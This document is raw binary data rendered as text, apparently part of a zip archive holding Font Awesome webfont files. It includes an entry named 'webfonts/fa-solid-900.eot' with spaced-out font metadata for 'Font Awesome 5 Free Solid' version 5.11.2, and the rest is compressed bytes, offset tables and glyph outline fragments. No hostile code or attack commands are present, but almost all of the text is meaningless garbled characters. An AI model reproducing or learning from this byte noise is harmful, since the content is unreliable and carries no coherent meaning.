^lrgn\S1	&;>Sv.FzpJS{j0xB3Nf*b,	M(\/`71YॸDEt՝Y}FJODK<^R\#HH`Fh{qU@%7Vu9k54#L8fZ,t>-qVL¤Tl0$SmpXHg"˴taXԉ.`10,ƨHwa!:9zoVv@,ŠywC"S'gP}A|b"5N'P?gkS80HӃY$@cT9y1C/FeL\ʎ7ij
7q6G_K6<l8Ŋ㒐q_]x	R;X9}AЭ9X}#4YA&%`qhi*cV丠mV:DoW77"*/E| #4oiBe_>\.)ɿ"ߦQC
ker)0<o(Amu{V4YRR6BGd*:DȭEU%B_<<H8r7Toh#W\P<i<Rǹ1{SJBWb:Hc$Aԝ-@Q?"^]	mYg4ࡁ?È_E\[ DDsV`fltΫu/JfQþBN֐Z"`AxrF#zdԂO*L3$\qZ
Båĉ@͞:3˃jvQŁ\&lexiIׇ֡":S"Ҍ})|ش0ş1zdk"f}YԙVd%!plCw)Ʀ"ζsx5Pd|\b 6Y>57x1ub9wb,gdVau,wj;ɈYֆHj
~R(5gjD[\a4~0D]qMй yB+
=S\A	]{['-Bqt
 3:T$C$}6B'y9Fi$cF͎ɢD(-~$О{!ȏkRWW8%"|LFPOsGT9N =x3rp#<ƑZݰA-&*L?Ag_ʟIn.2*gѾ}<qLT!a[mj0N,r(h]qg;xTNLT*!ϑB);ea(|S2HJr1֐f̄Pz9#  8ߕHg!;§(C|ρ2UK4ZmV9t	1fHO}QGCQS{f0G4&<Zx4C7",#ɲgPJ_AG" 65=JdmVgD+3L	]⋞.),	rjf!.
'I)d;
~
QNH
ϹIN[=<yy/*	Q&(0;$6}xǑgfVA{+P\)$02F31nDS}Mrme)'E<&Iy42=譏!q6a*JA%2D{rŧbDʳ=hzOnSl6{]<Z N|v2USH|rmsdZpZ#rI{'x<D?
jݦPj@޵ȣlj3[p
hB64ZYЉSu$ c>+,HӔ&SpCMMkZM3˱[C]sTK5]ꫫ?``>UX>Z0n	lsD5{#BSr(90jyn?`+/~SBک[M!к	`A< qw8~/9Be?YCz	 1,jNd,1nEVuam	5DL&tL&gyEO!/*LU!u*hA
׌D']``_j!V\-VKQ,-x0ݱq\ĸ<9U/A5Y)^'-tC	#FX,?kj-SI%ƹk
ΔdTTs@E5@{<f[m~lc/޴q\z=>UFh!ɛS+.4A'Ħ޸I.c\gL_x9;oPeF\f4}n萜 o6+tl[+V*j9}pǰlc{j׮7Z=~П{g+x4h#x%p^w>;Cs|Txpp-*cb4aƫd9]*i
Gcw13( ·InpQ^lV([>_pZ`ğ\Y	B@vEϨxk.}|J@EfQW1X/ƵtU^
U42-3XڬQ;A^ős5BBnJ8'D'xAWA%gt)U^@sOPw` 6?J%-%O^/r'7?}Fs,j4jD[3<"bӵo<['xЎx7GjƊ\ߗgMZrfJ3rfi1kKeQrx-KL+z./TW 
l}YHOa6.-r:"+zO'ϲ EO˳+y/Bg}-<^b0s̒CWz]msUmwb.htD|p,BN_8@I(C^nj&2^PIG&*u0p,ITt@	&v¨@O8׻xC8]0R`2F@ѡ)v
n<(
FqIG*qdJ:X3'+ &nR;Ni>@^^XDd
ɣ;	su*'{r_dQ&0O0`2 E:"qSwldIuS<K8@ZS6$z`>e`R0]D7$l6mdn0LZ9!=jIV1eVBW-w*=geӨ^DaqiגW]%R{lL/Xlv-ݲm
ЅJOG6 D;{Sm,4*>zIub%HF-BLk%B^tcGc(-"pT/IlIXJ3l3.A&&tKb2t9]c#CN(lUx("	X(QX]G^^t~$[HoqGjwFuq0$}XB+ݯk\hڄ@v{ffc5
MUv,/qC.bҷX	,|>	TLa0;gn4veyӖIZR?K$Pf!\~$vTu37֢\?zه]j7=?tD$%{Us熎4Hl0xV[-2QJhXqCjЄ,_ KϽ{	4,A0ܕ$3t3 3-"0,`K{R6i&RCҫKaaZE<M`V6sqͪ(<ݐ/D$w*bHS	N@A&QRH]`Xah@2bl rPnaַ@ig/cA3.V!eXb6eE#~)|鳋WiLN~!P^`[̹\G<D`SFrO
z׼]:`Z$@.?WZꤵ{䧿oCy瑻 1-z|Ie9N,<ZxMQDs?(y~^`[3; Rl!8&ON~8ȏ㽿b4: O/KI=Fn2Z<k,g.X$3wwyAퟸsNO*zuD9x;Pb 73h2@ћd**?Dj.6C,y9*2!cCQ(QjrMO)7HqqOJ* '1e|ޟ$rMlpe$.=7lg1Yn=@h+5`Q	kM)X9w-έKh`F3PD,X`mC	y8/s.Oi G<ϊ:ƲPԹ^\K&}`P,/˭}_sjiy!ZحWbxnmypR*}LXnqWbZմ$Vhzdv-iZV[i|c˭= tњ+<rY,^qfJmXfd5AT.7Ea,Lm|L{vHW͕tNo/+شӿcnڦ3B(;`$GaLܵqu?K6B8'R}@y`A,wURR=ےV횮 խ`ZWkkcGsBVM4Xq5D=ʍ탨Yv~$a1-ihZFqv=4Z&	ud<4SJw+kUnЊZz~:A:6pZ^b/C;$oY}r\QRM1@L;qe)<	+*  , #͏~9q}7'sgz@\f6,RTHvAܿNU݋_>~:Wm%%t^GNƬ?pJ%1ҝlE&7%m?~^'O,<{l.iV`v`͈JUDdt(E4'aȚhaMnx8ẍ́6V%{0[&"Ӭ{5t#X>^"<]RsMI50t[0:jٔ&1eFX-tUzLn)ܣ&#ԍe6HFtWl2͎`]l2BG&wNb#od6P,E_ &uO}˖Uܷۯki>[wZv˭oi_SMxj]\~wGM,e}rwf?o.Cr<Y6ҩ+Z|뺣P׷ni_m-g2yҲ\h]Vxw -tɶ<5\p_%=r*1t67I*lܲ6<3G8im8ANQ~h<4߈;q@wIe\"QRbx^a~ĉUcW?#I(-Un.EE41yLr][ח Irg㽼#{gzfif!$F CdI+$a	Y$`{-lvp8D1al`za1{_UKteUeUeV|>P	a"lr룋J1ka~WQ)xg|YtNE`<{f{,2~5O7w02l{e{|
#zg2{]t,|R	|ǎ3?޸Xb2\!¦(-R
sJnȴtr:Ͳ^j.~|&thO7f\!pφunaF6(ۈ)\sER#GVI9B%g!^> BB
9BN,$Kz[^T-| Fȵ~ژ'1<u9xF2L՛e\+#qgeec`1BC&7VSq8|Ǿ9i4b<yoohPbissyps4|_o+~couꉗB#:WB#juՏYkdQ2c/B߀Y T*l3qǠǽNxJxISgx= Mp2e2 Q:1r
b<h҆Ygby(I<ǜR9h,txWSd^ۨY1OFjOc-ČPd7Maϣ}<M<-o9k|WUUkhQ%glJBԔ$u	Jsi6|lQ_rj/aE4]'UײܺD뉢JhK4U\6%W4"ftQ~ZIZ,h=$J,sbYc	\`Ee!UgML} NZpPikTTLUmRiEb뺭o7RW9W$ Wig;6e5ɽebëȢ[hnthpp"%FHtQd%-L@8rW?
F̗y2דw
w<ȥ(3]H<>{ɩ~˶eG}q^qbxqy']]݌S(@2&18%1OQ岥L${,n( 毷05b3VvXVѯj	iuR먒"1{rW˳,p%NӶhcyU&KpFi֦,)qUax#0>t1pa(=X7(=ڕW^Uo_%<½^Ė.>L`3x<.t#)[mϧ1>Er!LLc!Qau69wmY2]t:+?vd媫i+ S SJU$Ŗ[s7`WR#G4imSFא׬o_YIV.c^}q䏄w,|`V`Z&h䲠K[Khdpm nGH(8LiOs2Jf^Sd$a}C
ƒ	c
4ǈ4:A#oLm	rGxRLREb<AxyۈW$Q_)ċ7pgFEO^F./~ 3Y=#s^yY@y],rI]JM,e%$"G}?1$]4MhJ_ƺ3Ĉ*SV%u qZ+1{-Z7iv.J^CY#YU5"sj钢鲤SQf

iO	1)K]Gr4
HuIJtINq$DP$NV#[Ug`w[~6i[>wmgۑ*EjҔ"\"Y)ѨӸi&B`D30_U8x?8g7-kpM7V^-A*VIUO3V ;ē |`5JcH%1Lh ?I>q+haeKf\L$0DWQDeȺ(S)j61ͷ0$ֿO^`i!&փ$bDꮺ}]szkVyxGSLQo4tl$Q-YBmܖ-(w͙H_bU,ƫcV}wOld`i4jRX)W{R]#s[[+))TD1`.JV
|@)ҀOį?m_$i>sKd=>%i;?!sް?|+gM"S_$_+C. 
 a)(V$gTzUAy[{?gp*ܹ{ｺj^Z*M(MWxRx/XySŴmN	5jllpNe.rp9dW=em[rnKOx fETりD̤AolN4j0D9B"}gH_mkNP]F'ET)jKiKwؾ~Om81$!DYcRHF2D
5hyj9kXҎ#H44CҐ$HFQ^f0)8-Չ[WK-IjYxU׍IXݱIa.:ҽP	`"c%͒>hlZVzp҄YܗHj_n-i4Hz"z94[iTY)Rٽ-<H1>Ҝ &*o!Gvҍ6пal=@~FUG.BOP|fv03¾:OQIPl+|S֣|tDftHk`u5ӺmxZuo-,T,->rjD׍Z8HuIti&ڊx}i7Z,Vې"}FF{Nŕr5 +Pt\=r#&o?AM{z^52[4Gx$ϏG*m
D_hLrr.՛m+_ȟ/ylv `)f[Vyo\uRAbֺQ"D9GU+A~W98CuN*.?UtתkH^[;(%.k,i!dRfybtPˣ<ps͆xpFA*Yg1c!o'bɳ2."[i&6|Lyz<&QAb(lzVPXXX1OQM>x.#x)/@Tu#*مPE5 3MUB nTAD4u4-3斍i]
UIJübm\@&^_l9",jŒn0~hCے,bzL4t[s<oMB`+QMa^L#Zr|,Ԟ-̳B/z:,IU	H6QtX.y[=o7+uf>cNԕ-yrK[~#ѩS_bP9:̅[p@GU?^BOFĢDnewQi%
t],G5	t/lQp_G,_4<' Gt%A_dأgعfs hN̤V0Jm"3w{ v,_vkS]!r}!qk^Ѵ[g+(U{z,$&,"Y2&6ņ)G@*ǍÇn؝>3DbV)Z#ͣL(+6{kYBZJx4$<dUvj{k}0{(ƥm?\cvs譚miJQA૟MZ>N)%I
QǯTE}dޞ9!osYĦqh~$I1	>PUM371tJS(8hJfIg}Gtgir2qtn k0Zuյ*Y>-騚<}	(9ᣦĐ}ksNX6{M!zmESwPOZO9yK*}'p?`yxw͢xȗD~L(o>B`yI:Obj!H6WP{,qJipΧp~\z+tS~sU$\ySwp-Qƪ|ta<`J%qCeW6Stɱ7rs>	O<(d9{IVWE"=($T0HjhYh:76]MÒ4)<VU`<ǐ%$kU,Y!py1MUfCљjZ@
hL+뻖JP|""E=dr*p-?y\!S"Yէzm|y@92ZhF̨$<Demiք#Da1bگUEY[&6<":FrϽӚ2m}.IFS.u"M|Բ<c)$h(kZ$HE$izV0̲Z(̪ao*OmK&;^%UwU70ZVB#Nv$ڠk-	?-!:0c*<%<'|Jl+/mg#]F`6X;hzK;w8%`5Q;2QAn(<e!rH8D`0&pP Fϵwx5N`'FNh"gڙRLxBoq`͆xF*-96"c<$Zo`۠C:sxOOL7jkzgX <n$a,
|0r^~aot'$")<<D@rPoϪz]_iުVm6ҽNcm&G6c&k#<:QFT0IcYD&\[d?֝ۂaވ}KE,ejg #)b*T+X'Emri,j8A,:lq"Y@X㹘x9&~Ffb̃o,	C/(7D.^r'QLU p 	7Nm9\M-4'mJȈi̶	$yDR(`+n3KTLR&Hw	φU:Mn.IHٔU]S83%,G>4HelJ]
	Մ8ѓA'W-a:dGfgwu?>ɋ^xgQ?)b8S~ԌeVHVwax9ާ^_[+z-J?iU@Jl/qzLRc\lp:obpVY&!fk{C͝meU`N?e<$E˱mXIX\HuwX%+ʲfCY*XeD}E2\%ߩ{	
u"K*CeFja	ZMᔨ!%T1SLW2B\ddWQh8`q	N/ڲN]	UjD\)R̃mR"K//m9I1Ng!'WhɏmZ2"ƅL2%Ŋzٮ.9q򁻣vƜpzj&f)jG~ҒbCiR3MsYJ%R]Y^	IT!i<*a:r֏unu։-c5롧t?Yemy&5Zŋ{[Ȅ5a"K.N3s'cHs6KZ*~BEryfs;Tƀ'[JuUժ*Z_-=1wLP6mwLV +I*x6cJvRdJJ0!:ؚ,ն(Q,R	E[br>A;]6K-ѾOA/?0aP)XW/^RX¾6
36*,} !<^ܫ{s\daEM1s8?9z!= e´JXz&N4n<Y^V?s\(0
4 d;Oc?!涙pp½жcȻ$_zC/.Jr7bB`B9!'׿ݱim6'؅A.l	?4x঻}kn{K;l0Ywwdˁ~oe֬B{6J$ڽ]X\Iq%A`L3NGϟ=z❷yL6;z?!b^X=(CʿV-yR+RPq_V\-Y,j,TM7ۖ$#c{F}Ih	SaF3wmSSNaRu]D2BӤ_>}ẊW<B mͩ[ь:!N2UUSޏ;#gyGQ`|Ky~~)DyHߗ 6g3&muK0O.N!d2-k2)iµ1(1F rsήމOwY[,jwFr٪!	e]5a~_6.rޟ̷-BУ*ɢG`*ksĉS.)V]H
X&.Lmp	]+HᘦA|ݵ:x1̱+K^UI`ϖ$b2t{xzykuPt?Ⱦ}i{د}MX9b.q*\EӾ*󉅀vfi*>/8hwx؍x&ﶘrAa`XU,@ۧulHK(E-Lok{ko1Бʳk4T/C$}%MCygNZDJTVyoYF~sܥ}y|F@B.N؊13gs*d?ap@.go2Nd)jaނ8zLʭϐIsa (|ł*k5/|-+g_~25m<K(24܈(
-. 9q:jw#&$xc`d``6.+7\]JS+ ,  xc`d``< Sw?22 E    xT1;n.B[]<(x{?-5U(PcbƟǳ54xf<߬%>,f{W=-zN!nU*ƝE2] V֚YL^;!g
tKk6|γM5XfHn=Ekk+Uks}]uokS̪a`beO%1p\g?8G>'xn15*֊yާnWQd+9czNQB7ʍdd0.' ?/`#QmNSzjɳ؇-u;I|c):؆#[GٓBfyE]A?'*w01cxw2q:W`ܛG4GE+wjb;b$WPsJv#y̗&O+/IH_5}^⍇\W-]JSޅ3]}іF1h_I?`O_hRS}+8.dcƤ,gQ.$          Z  B<x8X
B@	rJz`.&Lz$@,D\xJlh>h$F.t!"D$H%0%&Z&'B'(*)N)|)**++,l,-2-\--0V01112\223x34F44557&7b7889j9~99:D::;B;d;<^<==^===>:>>?p?@\@AjABBCnCDE.EF<FGHG|GHIIJ:JJKDLnLMFMNNO@OPQDQRRS:STTU|UVLVWNWWX>XpY4ZZ4Z`\].]]^`^^__z_`a^aabbJbddeef4fffgLjk^klDllmVmpnpqHqr^rrst&ttuTuuvvFvvwDwx
xyyzz{{t|}6}~~H~@@DjB.~f̅솔6̉:0*|rNVܑ`vNPX
:lԟ<xܢ@P֤*~إ.ʦhxf𪌫&R,:V^BĻrN^,tBX 8lhNԌ,b>fNڌڼۄܒ Lf\&Jd6  xc`d``à L@`>  q xn@FmEVJ+UDZ$DD&MTqQXwۨI΁#fh	jUl3~x(B`zm9@cCUx"~2/bygglK̫Pr5:
*`@ɫhֵ,2>1xoa^+y]G0/g^`^Snȼ}\({8B+1uhb]4zPeWy<YHFO"DP%>ƴӧ=yS-b<_ؤm>:7{~wip6v>ܭuIϜ{>#z:Vi n7vfz3Fᒽ测c:EEEH>2{~hlTT+cS!W8ErԴL62SY!(PRGFR(5>eGِӢq>3>}+P1Z3r6:Cv߾8}v  xuWș-{z`w30+,$fff(IeڒJSU3333]r|9ff+tnO
z{Nk_=qEqG}P@!iDcДfG'iNi:Cg.9>݀nH7:Mt39݂nI[mt;=Et#]Iwj;]:+ݍN{ҽt/ݏO҃z(=NGңz,=OO'ғz*=NϠgҳSB)ISF9):TREj:O,9jhI+ZSK\z=^@/ы%Rz^AWѫ5Zz@o7ћ-VzAwѻ=^z>@ч#Q}>AOѧ3Y}@_/77ӷЗ[;;{{GG''gg+K+kU-m]=}C#cS3sK+k[;{G'gW7wO/o{ 08!x$)>g,_e|=>F|9_7Mf|sߒoŷmv|{|GWkZ3߅|'ߋ ~ ?~$?͏~"?O~&?a1'9g^p%Wlز㆗5|B~_/J~_ïF~oN~A?I?ßEҞ[)礉Fyr.kض2U,S.omwj{=<UniQmL묐Q]4v5;ޕMvSEogJNjX{u/vI5UMc:=DRyW#U#3J'j+7B5e\٦RUW6U lԨ89nYzYE`%U#+jI!vqrtJlF+m᳁e[kl"T٦vM(Q&)X(܉ҍ*fiTG_{Z>ijQZce&ro[-IQN.bNq*JTN7ҤM_baS\)hd,@2ҟv*3'1w.||
~lJw T&yE V($Z*+f(KDtVl\PnF5Bd^6nJsmdQ(qZTEj]U2q,t=Lv8#eXHQMl;2Ϊ*nĪ.ڸQkaӪrᬨNӔ6JtJ8mfvHRW~C&MNx{]*ilM	 /Y6ʲ|HDh9J/:[:mƙĊϵ
~r+¨ ɍ.e8z=*8wXk4\{:8Zb<Sr4ǻ
6KDd՗i&|z+i^cimt$.ʛKbF:]>9EBULM1niY-̣4QRgbG5*Qusu	
i.G.Tt\>- |؛JDY,ga=}}lWeh´CNlz`GGUJzĞYN$)ROgvc%!=1B	'48n;CvĄZ%Xض,%E9CyI{be!tOe; Kc0.tI3ږQ7 a1N=%FqbW-!bӮ^Cb>qse0(M#m gkDdvLe/!=2Hur1wWm9-vX
fQ&>Mt~Z$h͌;u#O*7z86aYA)N-ZM* +Zh=2$gMQ>&;ļQr	Crv)J;j'08#>PB́PG^E;wa	=A n7*7*Ubv갩T "FHiǡUI NJ.\+2kw>rR"6*$5L:#u%b⣈Lu9F F>ޞ0pЙ?X]@sN諞lj=@NZi
Lhs/Qb!1^h7ng2;в)$PٽSBC1pApDҀh1e~:lmJR`0N-we?YQ'00A\볛"QK{]7/ھ?͞
F$n*1\[`'gaOFN$9L9/D5B*"8ᦈzBY_vP#2XhGh!kyL1\3P?Wy=: SQ{)RF<=BUɥds"#e,tF"/stzC{_Ƣ0r蝧N}&Fw/@( {##]<&vmT&eQc@E'%@7.ңow!NշЫ}ʑC. :aMBIewˡuBT&YDþ˸h{+kxCFT`!2(eUJBs7A"OdtHUѦEBD!%LȑFlu-ŶH80\O;GH]C<&eM\>I[u"gQ?yv5KzKb:kCq%*ޘ w
N>r_L7$e6MlzMmţ
2qIc0#8ɧf>xu֘NWk&-> Ж෶
Wf¬n-%9<רy0*v<\yPK     N\Hs7    webfonts/fa-solid-900.eotnu [                            LP                    Q|                  2 F o n t   A w e s o m e   5   F r e e   S o l i d   
 S o l i d   L 3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )   2 F o n t   A w e s o m e   5   F r e e   S o l i d            PFFTMȔP    GDEF *    OS/2C8  X   `cmap$*/    gasp     glyfT  +` headG.Q      6hheaC     $hmtxil    locanF  P  maxp%S  8    name$&, |  +post1   .   J||Q_<      ٮ)    ٮ-                                  P              @          Lf   GLf                            PfEd   . T      :                       @                  `             @    @   @                      @                         @  @                   @         `  @   @                   @@ @                                          @  @    @@            @     @           @@   @           @    @  @                                                                          @ @         @ @ @          @    @  `                             @  @      @  @  @      @                     @      @                          @  `               @                  @          @  @   @     @                                                                                                                         @                           @  @            @  @                            @                                      @        @                       @                          @           @                   @       @      @                                                            @                                          @  @@@    `  @             @  @                 @         @                              @       @          @        @  @     @      @                                  @  @  @       @                                                   @                                              @     @      @                                @                  h         @       @                     @                      @         @           @       @   @                                          @              @                    @  @                                       @                                  @         @                                    @           @                            @      @                                @                 @         @                     @           @  @             @@               @      @        @    @              @     @               @                      @                    @                     @    @     @                                                                @                        
      
h     >DN[^n|".15:>DFKNY^e-69IN]lwz(8[]`b46:<?ACEGKNPSX]_bfmrty	!07<ADGJOQUX^bfkmotvy| ")/=@CGMSV[_iks}*/>JLPScmy}   !AHP^`p  $037=@FJMP[` 
!38@MQlqy	(7X]`b369<?ACEGKNPSX\_afhptw}!.7;ADGJOQSX]bdimotvx{"(.;@CGMSVZ^ikr|)/>JLPScmy{ |{zywjihd`]TSRQNEDCA?431,+%" jigfH&
}|{ztfa][ZYXPLJHF0%$#" 	zwutrhgfedc`][ZWUNMKA@;:41,(
|ncb_]NE:965,'


                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           L       `      d          H    p  	  	  
        <    D  $    L    H        p  <          |        p  8      \          \     (   p     !  !  "   "\  "  "  #D  #|  #  $0  $x  $  %   %l  %  &  &  &  'x  '  (  )   )  )  *H  *  +  +  ,`  ,  ,  -  .  .  /<  /  0,  1  1t  1  3  3  3  4  4  5<  6   6  6  70  8  8  9\  ;  <h  <  =   =  >  ?8  ?  @  @  A  A  B$  B  C|  D4  D  E  FT  F  G<  G  H$  H  Ip  J  J  KD  K  L  M  M  Nh  O  O  P0  P  P  Ql  R8  S  T  UP  U  VT  W   W  W  W  X$  XT  X  X  Y,  Y\  Z  Z  [,  [  \\  ]   ]  ^L  _@  `  `  a  a  b  cp  d8  d  eX  e  fX  f  gl  g  h|  h  i  i\  i  j  j  j  k,  k  lX  m  m(  m  n(  n  o0  p  q  r$  r  sT  s  t,  u  u  vt  v  w,  x  x  y<  z  z  {t  {  |  }8  }  }  ~X  ~                 p    h  $      D    `      0    H  d    \  @  $            X    0    8    d        d      P      ,      `    |  |    T    P  D      h        4  @    <    8    T  `    l  \      T      @  d    |       `           4             @  0    ¼  ü    Ť  ,  Ơ      \  P  0      ̈    ͤ    4  D    М    Ѥ  p    P    ,  Ԑ    ՜  L     t      |    ڨ  $    h    `    ޴  8     |      8        h    l    (  t        ,              \  H  |  T  \  $            D      `       t  |           4   0  <  	 
$ 
   x   @  0   \   \  H  @  \    t  @  | L  \  ,    t   D         !h ! " #l $@ %P & &P '  ' ' (t ) *X * +\ + ,4 , -X .H /X 0@ 1 1 2D 2 3l 4 4 5 6P 6 7| 8  8 9T :D ;, ; < = =| >$ > ?l @ A8 A B< B C D D E F G HX H J< K, K L| L MD M ND N O P8 P Q R R S( T U U Vh W$ W X( X YD Z  Z` \ ] ^ ^ _@ ` a at b b ch c dd e e f g8 g hH h i( i i jl j kD l l m n, n o\ o p p ql r0 s s tX u v< v wt w x\ x y z {< { |t | } } ~ 4           p \   P          L    h @   0 ,  L      ,  P  p      < h @  d    x       D 8 4     4   4  8  l      8  4  L  T 4 Š    h   Ȝ t  ʬ h   p   P  Ќ  ќ Ҡ Ӵ $  t   h  x $ T ( ۰ ܀ p ,    H X 4   H  @  8    <   h   p \ |   p  d d  H   P    d    |  
 H   4     @   D     X  ` @ P        8    !L #8 $T %| & & ( )P *< * + ,| -t . .X /8 0 0l 1< 1 2 2 4H 5$ 6x 70 7 8 9, :$ ;d << =h > @ A B C D E F G Hp I, I K\ L  L N8 O O P8 Q Q S` T` U$ V8 V X X Y4 Z [ [t \ \x ] ^` ^ _l _ ` a4 a b c d| d eh fP g, h h j k l| m n n ot p, p q r4 r r s t t t u v@ v w x x y` y z {@ { | }( } ~`         ` @ $      D  h      32+"546;5'&63!288**           632"&46325"&4632467		8P88( 8P88(			%%6%K%%6%
      !  %"/&=#"&46232&264&"d8HVzzz,
jKKjKd
,zzzVH8KjKKj     "/&6767>/+

+/)k&&k(|+

+|(#	''	  1   62/&?'&6?	(	Aj  j&g	DD
g&          $"&4622#!"&=46;27jKKjK&7OO7#L#KjKKjkO7**7O    	      / ; G S _ k w    2+54+"!54+"#"&546;;2=!;2=54+";2=4+";2=4+";254+";2=4+";254+";2=4+";2=4+";2

((

(@(((((((p((((((


P
((l((l((````((l((l((        / ?  32+"&=46#2+"&=46346;2+"&5"&=46;2#(


F







(



















  	       0 B R b r    +"&=46;2+"&=46;2746;2+"&5#+"&=46;22+"&=46346;2+"&5%"&=46;2#"&=46;2#%46;2+"&5
e

e
f

f
 
e

e
 f

f


e


e

e


e

e

e


f

f
P

P

P



P

	
P


P

P


P


P

P

P

P
h

P

          / ? O _  7+"&=46;246;2+"&52+"&=463"&=463!2#463!2#!"&5"&=463!2#
e

e

e

e
}

e













P

P


P


P

P
@
P

P


P


P

P
          7'&4?62762"%p%	$p$    aq #  7"/"/&4?'&4?62762d		
	dd	
		dd		
	dd	
		d	
		dd		
	dd	
		dd		
	        5 =  ++"=#"=4;54;232"/&=#"&46232&4&"208 88 8d8HVzzz,
dPpPPp  88 88d
,zzzVH8dpPPpP      % -  +"=4;2"/&=#"&46232&4&"20d8HVzzz,
dPpPPp   d
,zzzVH8dpPPpP   ) 9  #".54>7632654&'.?>+"&=46;208gCrC. 	
bFEc$ _
 

 
"k=gBrD)L>	"'EcbG'G	



   h   / ? O  72+"&=4632+"&=463%2+"&546372+"&546372+"&5463		0		P		0		0		0				0				0						`	`		`				 	`				`	 			     < D  %/'&=&''&'&?&47'&767667547676264&"	&+"	76
"*	&	**	&	*"	77	"*	&	*B//B/
5)1

1)5	$
5)1

1)5
##-/B//B  A  D  62+"&=4.+"+"&=%#"/&"#"/&54?62546;2	p	@		p	"Z8,	
`	`
	1JI         2"&4?6/54+"ΑΑ1
	@0Α	'
.     E " 0 B  %+'4&+"#"&76;;265'32;26/&+"2>5'4&+"3=	Dbb((7	.	-bb@4,,00      + 3 ;  3232"/&6;546#!"&=46;2?324&"264&"2P
X
		
X2
0

1*1
|L
		
p

p
11j     @    %#!"&=4?>3!23373'8 jU{ p {U
+@@      <  2+"&=46303.#"3267632#".54632'41463eU'IggID")-.CsBfIA/ .gg"
BrDf)R      * T  4146;2+"&=463.#"+"&545>322676;2#"&'1+"=46;2#'/fU':d
1ZIA9d
1Z0n/fV/ .O8	Ws)O8	Ws3$R/ .          ' 3 ? K  !"&5463!2 "264"264"264754+";254+";254+";2`"""""" `h""I""I""  T  T          %2#!"&=46;5462#54&"Y~YP*<*H?YY?HH**H     '  276#"&#"+"&5&54662^0E;?$h>4

"!Gh] 	)#^

!

#     1  2+"&=46;254&"6;2+"&/.=4Ԗ
A-

/!qq!/

-A
j0-?

"OqqO"

?-0j        6/#"&=46;Yf

fyY

     #  6/#"&=46;.6764'.>Yf

f				xY

)0).     @  ' > P  6/#"&=46;%.67>54&'.>&'&67>4.'.>.6764'.>Yf

fB<DD<	!/91	(-)			
)a				yY

'~~'=J';h!`S	$,.,$6)0).  	         # ' +  =3'3573#75#53'35%3#5##5333#'3#@@@  ` @`@  @  @@@@@@@@@ `                   # ' + / 3 7 ; ?  13333333333333333333333333333333			$										         =46;2"/&6"264((((((        )  %"/&=46;2264&""'764/32(((2(1(((J(        # / 8  %#!"&5463!2;2=4+";2=4+"&7!"3		
(88(H
X4
8(@(8
nF       
  463!2' @0p       # ' 0 8  2+#!"&=#"&=4635463!25!%5#"&=#264&"%	00	%	.	@  0	& %p	``	p%	.	```	0H      " *  #!"&546;7>;2324&"26"&462 `X
~XFdFFd&4H44H0 !	!dFFdFH44H4    - 0  %2+"&=46;'#32+"&=46;>;2'3'									0	^/ 	 		 	@@	 		 	j		    % -  %+"&=46;#"&=46;2'3264&#264&+MR6		  		9LW  W?$4F	0	 	0	T9$a`(!.!p    @ #  +32+"&=46;#"&=46;2@	?P/				?P/			 		 		 	@	 		      C - I  2+"&=#32+"&=46;#+"&=4632"/&6;5#"&?62+0		 	8(				(8	 		 PP00PP0	`		 	 		 	0 		`	PPPP      - I  2+"&=#32+"&=46;5#+"&=463&=#/&4?63546		 	x				x	 		[PPPP	P		p	 		 	p		P	PP00PP00       / ?  7"&=463!2#"&=463!2#2#!"&=4632#!"&=463		`				`		`&& &&@	 		 	 	 		 	      / ?  2#!"&=4632#!"&=463"&=46;2##"&=46;2		`				`		\ 	 		 	 	 		 	@(( ((       / ?  7"&=463!2#2#!"&=4632#!"&=4632#!"&=463						`			 		 		 		 	&& &&       / ?  %2#!"&=463%2#!"&=463%2#!"&=463%2#!"&=463		`				`				`				`		 	 		 		 		 		 		 		 		 	       / ? O _  72+"&=4632+"&=4632+"&=4632#!"&=4632#!"&=4632#!"&=463P		@		@		@		@		@						@				@				P	@		@	@	@		@		@		@		 		 	@	 		 		 		 	        + ; K  7'&4?62#!"&=463%2+"&=46372+"&=46372#!"&=463e``D		`				`		U``-	 		 	&&&&	 		 	        + ; K  7&=462#!"&=463%2+"&=46372+"&=46372#!"&=463`5		`				`		U`	 		 	&&&&	 		 	       @    2#!"&54636/5P"#n & K           "  )"&5463!2 "264!5'&'&`.!!.!hX8H H!.!!.pX8H         .5462"="pp"=6#X$5"PppP"5$X#
       6462"7264&#ΑgLllLYΑΑ@ll    `  !  "&54>762264&#"&54&"6,!gg!-5-		!/		B4_6I&JhhJ&H8^4@		/!		.B     @   7  .?67/&?624?6#!"&5463!2+!Z\
$Z$ ((@mZ
\ #Z#(`(     @   4;276/+"@0%%0        54;27676//+"(%%%%(h        7&4?6'7&4?6'%%@%%



        %&546136          #"&546;2%+"&546;2`````0`        2#!"&5463`        %&546&546%%@%%

@

@        +"=&=&54654654;2 (%%%%(t@   @   +"=&54654;20%%0X        %#!"&=463!2%"&?62#p*@@@399    %   ?62"/&4#    %   %"/.?'&6?62     #  2"&454+54+"#";;2=32ΑΑ\8\\8\Α΃8\\8\\       2"&4!2=4#!"ΑΑtΑΏ88    #  2"&4'76/&'&??6ΑΑrBB(	AA	(BB(	AA	(ΑΨAA	(BB(	AA	(BB(         "&46276/&'&Α΄Fh'ΑΑFh     + 3   "&462"7>32;2=4>54&"264Α`J+	#	8H &&'ΑΑR@		


	&*<&&        '  2"&4$"26454+54+";#";2ΑΑ	""@XΑ#""d@        ( P X  %2++"=.'#"=4;>754;2>7#"=4;.'+"=32+54;24"&4623N.(FeeF(Fe,?
))
?,(,?
))
?,((.N3eF(FeeF
?,(,?
))
?,(,?
)y         2"&4.67ΑΑ`4&`4&Α`&4`&4       %"/&4?62!2#!x

xs
 
s         762"/&6?!"&=463!'.x

x}s
 
s        7'&4?62&/+"&5#s
 
sx

x     %"/&4?646;27>s
 
sx

x         &='.54>75461D2#02LP4
X*@+U,,B)	P
        ! 2 C  546;2++"%4;2+"=#"52+"=4;543+"&=4;232
|T( |
(T
|T|
(T|
(T
|T|
(T
|T        ! 2 C  #"&=4;232%+"=4;54;2+"=#"=4;2+"=46;2+|
(T
|T((T|
(
|T 
|T(
(TXT(
||
(     #  %2++"&=#"&=46;546;2            %2#!"&=463        6  %/+"&?&/&6?'.?>'&>;276	&		&	r	"	TT	"	NN	"	TT	"	N          "&462"264';2574&+"ΑT&&Z0@'ΑΑ&&         . 9 C  353#"&53#2#!"&=46;&54632>32!3.#"3264&#"   	 	,
4$..$4
